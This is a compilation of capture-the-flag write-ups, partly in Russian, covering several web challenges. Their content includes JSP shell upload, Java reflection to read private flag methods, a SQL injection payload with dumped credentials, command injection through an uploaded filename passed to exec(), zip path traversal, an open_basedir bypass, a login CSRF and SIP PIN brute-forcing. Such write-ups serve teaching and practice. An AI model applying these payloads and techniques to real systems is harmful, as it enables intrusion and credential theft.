При создании заказа можно перехватить отправку формы в Burp и изменить поле orderName на anything.jsp, а в поле order вписать текст любого jsp-шелла.
После загрузки открываем шелл (ссылка «You can check your order here») и скачиваем tomcat’овскую директорию webapps, в ней находим jsp файлы и скомпилированные классы, декомпилировав с помощью утилиты jad один из которых (WEB-INF/classes/ZN_Chocolate/CRYPTO/SecretGrandParentForBigBossesNeeds.class) видим нужный нам ключ: private String TrueSecretChocolateKey() { return «ZNV:iMp0518UrU_53cR3T_k3y_50d11dcb46506e93917f82c0e828b1a9»; }

Input

Site with file upload functionality.
At first it was easily solved by uploading JSP-shell in XML format, bypassing white-list. After that all participants were given the source code.
Task again could solved in a «cheating» way, by reading the source code, but I solved it in an intended way.

Output

Open the classes in JD-GUI: screenshot.

We can see the source code of JSP checker, which parses page imports. There’re a lot of ways to bypass this silly checker, but we’ll try to get flag without reading the file system. Initially the flag was in SecretGrandParentForBigBossesNeeds.class:

public class SecretGrandParentForBigBossesNeeds
{
  private String TrueSecretChocolateKey()
  {
    return "ZNV:3X@mPl3_k3y_a0a81ab87f74d307b8e51fd85048e714";
  }

On the screenshot on the left you can see a long chain of inherited classes, this clearly tells us, that we should somehow use reflection. If we try to import SecretGrandParentForBigBossesNeeds, we fail, let’s try to import Secret.

<%@ page import="java.lang.reflect.*,ZN_Chocolate.CRYPTO.Secret" %>
<%
Secret s = new Secret();
out.println(s.TrueSecretChocolateKey());
%>

Hm, error 500… In the stack trace we can read, that «method TrueSecretChocolateKey of class SadBigBoss is not visible».
Aha! They changed name of the class after fixing the source code. But anyway, method is not visible, it’s private. Let’s use reflection to make it accessible:

<%@ page import="java.lang.reflect.*,ZN_Chocolate.CRYPTO.Secret" %>
<%
SadBigBoss s = new SadBigBoss();
Method method = s.getClass().getDeclaredMethod("TrueSecretChocolateKey");
method.setAccessible(true);
out.println(method.invoke(s));
%>

That’s it, flag is on the page =)

1. Скачал дамп
2. Используя логин в качестве пароля нашел пользователя, через которого можно было легко авторизоваться в системе.
3. Зашел в личные сообщения, понял, что могу читать чужие сообщения. Прочитав — увидел, что администраторам было разослано сообщение о необходимости срочной смены пароля и инструкция как сгенерироват новый пароль на основании старого.
Hello! User dump was compromised. All administrators should change their passwords!!! Right now!
Because of security issues you must use supergenpass. It is rather simple. Just enter your password and domain and youll get fine password
4. Нашел поддомен dev. Подобрал пароль для basic авторизации.
5. Скачал часть исходников и запароленный архив, сбрутфорсил пароль от архива, где оказалась подробная схема хэширования паролей.
6. Написал скрипт, реализующий функцию хэширования, описанную в инструкции из архива. Все используемые алгоритмы можно было найти по ссылкам, указанным в pdf с инструкцией.
7. Пошел на azure и используя тестовый аккаунт взял в аренду 16 ядерный сервер, где запустил брутфорс хэшей. Это дало преимущество над теми, кто занимался брутфорсом с домашних компов и ноутбуков.
8. По первым буквам подобранных паролей (и на основании сообщения, полученного в 3 пункте) понял, что для брутфорса админских аккаунтов необходимо дополнить алгоритм брутфорса функцией, добавив supergenpass
9. В итоге из первых букв полученных паролей получилась фраза: theflagis287a2ef40fe140fd1acf8ec695ba1e53replacesgppasswithmasterpassandyougettrueflag.
Флаг: 287a2ef40fe140fd1acf8ec695ba1e53

1. Нашел admin.jsp, search.jsp, index.jsp, admin_login.jsp, adminochka.jsp, adminochka.jsp.bak
2. Сбрутил test / test (видно кто-то добавил)

3. Инъекция
potato’ AND ‘1\»=1 union select 1,(select user()),3 — ‘=’1%

host: zn-java
version: 5.5.46-0ubuntu0.14.04.2
user: webappuser@localhost

wepapp.developers
---------------------------------------
| id | username        | password     |
---------------------------------------
| 0  | developer_Vasia | fpBA7BPlS8wJ |
| 1  | developer_Jorik | 5FftW6Aua2ef | 
---------------------------------------

wepapp.goods
-------------------------
| id | name     | price |
-------------------------
| 0  | potato   | 40    |
| 1  | apple    | 100   |
| 2  | carrot   | 25    |
| 3  | tomato   | 120   |
| 4  | pear     | 70    |
| 5  | tomato   | 110   |
| 12 | pear     | 80    |
| 13 | cucumber | 80    |
-------------------------

wepapp.users
----------------------------
| id | username | password |
----------------------------

…

4. Скомпилировал клиент и записал его трафик
5. RCE через десериализацию xml (solve.php)

solve.php

Скрытый текст

Input

Site (0x3d.ru) with OAuth (vk.com) functionality.
During recon one can find content.0x3d.ru and dev.0x3d.ru (127.0.0.1) subdomains.

Output

There were a lot of unintended bugs, including XSS, SQL injection, RCE, etc… Some of them are described here.

1. Authentication bypass (unintended)
Log in under your vk account through Burp Suite, take a link with auth token (?code=…) and navigate to it in the private tab. You’re now logged in as a privileged user, which can upload files.

2. Authentication bypass
Login under your vk account through Burp Suite, take a link with auth token (?code=…), now make a page on your website, which loads 2 images (<img src=…): the first triggers logout CSRF (like /logout), the second is you auth token link. Now send this link to the privileged user, he (the bot) will navigate it, and his account will be connected to your vk profile. Now you can login as a privileged user.

3. Race condition (unintended)
Privileged user can upload avatar. «*.php» is disallowed, but «.jpg.php» is ok =) Where’s the shell? Hm, avatars are uploaded to content.0x3d.ru/avatars, but they are converted into $hash.jpg. Let’s suppose file is first uploaded in the same dir and converted afterwards.
Take BurpSuite, launch 100 threads (GET /avatars/beched.jpg.php, Host: content.0x3d.ru) and upload beched.jpg.php. Wow, 200! Shit, plain-text… They disabled PHP execution in this dir, but anyway, this is dangerous bug.

4. SQL injection (unintended)
There was SQL injection in private messaging interface, you could exploit it using multi-INSERT and guessing fields. There was no file_priv and no flag, but there was a link to PoC auth bypass exploit by the author of task. I found a working copy of the task on that server =)

5. Code execution (unintended)
So, we’ve got author’s testing server. Let’s log in and check SQL injection there. Wow, there’s file_priv=Y! Read the source code, read configs, no flag =(
But there’s something else in ZIP upload functionality:

elseif(preg_match('/[.](ZIP)|(zip)|(RAR)|(rar)$/',$_FILES['fupload']['name']))
{
    $avatar = 'avatars/net-avatara.jpg';
        $filename = $_FILES['fupload']['name'];
        $source = $_FILES['fupload']['tmp_name'];    
        $target = $path_to_90_directory . $filename;
        move_uploaded_file($source, $target);//загрузка оригинала в папку $path_to_90_directory
        $command = 'python /var/www/0x3d.ru/zn1/avatars/unzip.py /var/www/0x3d.ru/zn1/avatars/'.$filename;
        $temp = exec($command, $output);
    
}  

So, we can execute code in the filename. But no flag on this test server %)

6. Code execution
Now let’s do what they want. Let’s upload shell into the docroot of content.0x3d.ru. We’ll do it with github.com/ptoomey3/evilarc
Create a ZIP archive with path traversal, it we’ll be extracted to any directory you want (if it’s writable). Now we’ve got PHP-shell on content.0x3d.ru

7. open_basedir bypass (unintended)
Command execution functions are disabled, but we can browse any directory with DirectoryIterator: ahack.ru/releases/glob_wrapper_open_basedir_exploit.php.txt
BTW, putenv() and mail() are not disabled, but somehow command execution via library preload and triggering sendmail doesn’t work %)

8. Flag
Remember dev.0x3d.ru? Let’s try it from the web-shell:
readfile(‘http://dev.0x3d.ru’);

1) Проходим по ссылке и видим заглавную страницу Интернет-банка с формой для входа и ссылкой на регистрацию.

Приветственное сообщение как бы намекает, что надо ломать какой-то SIP сервис банка. Да и в самом задании упоминается phreaking — en.wikipedia.org/wiki/Phreaking
2) Регистрируемся в интерфейса Интернет-банка и получаем номер карты и PIN-код.
3) Поищем SIP, который предстоит ломать:

$: nmap -p 5060 -T4 -A -v bank.defcon.su
.....
PORT     STATE SERVICE   VERSION
5060/tcp open  sip-proxy Asterisk PBX 11.17.1
|_sip-methods: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH, MESSAGE
.......

Действительно, у нашего Интернет-банка есть SIP сервис, который как и большинство SIPов доступен на порте 5060.
4) Попробуем подключиться к этому сервису.
После небольшого брута и подсказки получаем аккаунт test@bank.defcon.su c паролем test

Однако, нужно понять на какой extension звонить. У Asterisk есть extension s, который используется если неизвестен номер www.voip-info.org/wiki/view/Asterisk+s+extension
Позвоним на него: s@bank.defcon.su и услышим приветствие от банка, в котором становится понятно, что нужно выбрать тип карты (Mastercard или Visa), набрать её номер и пин-код. Если ввести данные карты, которые даются при регистрации, то звонок прекращается. Если ввести неверный пин-код, то просят повторить его ввод. Если ввести неправильный номер карты, то его просят ввести заново. Таким образом можно попробовать брутить сначала номер карты, а потом пин-код.
5) В платежных системах Visa и Mastercard используются разные системы нумерации: en.wikipedia.org/wiki/Bank_card_number
В Visa возможны номера длиной 13 или 16 цифр, а в Mastercard только 16 цифр. Появление подсказки лишний раз подчеркивает эту аномалию с Visa.
6) Поиск в Инете адекватных SIP-клиентов для Python не увенчался успехом, поэтому пришлось
брутить номера карт Visa в ручную, что заняло некоторое время. В процессе выяснилось, что проверяются только последние четыре цифры номера, что гораздо упростило перебор. Так же в процессе перебора было замечено следующее: на сайте банка указано, что авторство таска принадлежит группам Defcon DC7499 и 2600. Однако искомый номер оказался отличным от 7499 и 2600.
7) Оказалось, что правильный номер — 1215. В ответ на его ввод получаем полный номер карты: 4556796461215
В получении номер очень помогла возможность записи звонка в Jitsi.
8) Остаётся подобрать пин-код. Опять вспоминаем про 7499 и 2600. И действительно 2600 подходит.
9) Вводим номер карты и пин-код в веб-морду и получаем код для генерации флага.